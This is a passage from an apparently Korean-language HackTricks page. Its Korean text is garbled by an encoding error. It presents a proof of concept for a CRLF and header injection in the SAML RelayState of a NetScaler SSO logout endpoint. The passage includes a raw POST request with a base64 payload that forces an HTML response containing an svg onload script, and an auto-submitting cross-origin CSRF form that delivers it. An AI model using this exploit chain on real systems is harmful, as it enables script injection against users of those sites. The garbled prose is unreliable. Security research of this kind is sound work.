DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. ๋ฌธ๋ฒ•์ƒ ์œ ํšจํ•œ SAMLResponse์™€ ์กฐ์ž‘ํ•œ RelayState๋ฅผ ํฌํ•จํ•œ POST๋ฅผ SSO ์—”๋“œํฌ์ธํŠธ(์˜ˆ: /cgi/logout)๋กœ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.
  2. CSRF๋กœ ์ „๋‹ฌ: ๋‘ ํ•„๋“œ๋ฅผ ํฌํ•จํ•œ cross-origin POST๋ฅผ ์ž๋™ ์ œ์ถœํ•˜๋Š” ํŽ˜์ด์ง€๋ฅผ ํ˜ธ์ŠคํŒ…ํ•ฉ๋‹ˆ๋‹ค.

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF ์ „๋‹ฌ ํŒจํ„ด:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

์ž‘๋™ ์›๋ฆฌ: ์„œ๋ฒ„๊ฐ€ RelayState๋ฅผ ๋””์ฝ”๋“œํ•˜๊ณ  ์ด๋ฅผ ์‘๋‹ต์— ํฌํ•จ์‹œํ‚ค๋Š”๋ฐ newline injection์„ ํ—ˆ์šฉํ•˜๋„๋ก ์ฒ˜๋ฆฌ๋˜์–ด ๊ณต๊ฒฉ์ž๊ฐ€ ํ—ค๋”์™€ ๋ฐ”๋””์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Content-Type: text/html์„ ๊ฐ•์ œ๋กœ ์ง€์ •ํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์‘๋‹ต ๋ณธ๋ฌธ์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” HTML์„ ๋ Œ๋”๋งํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ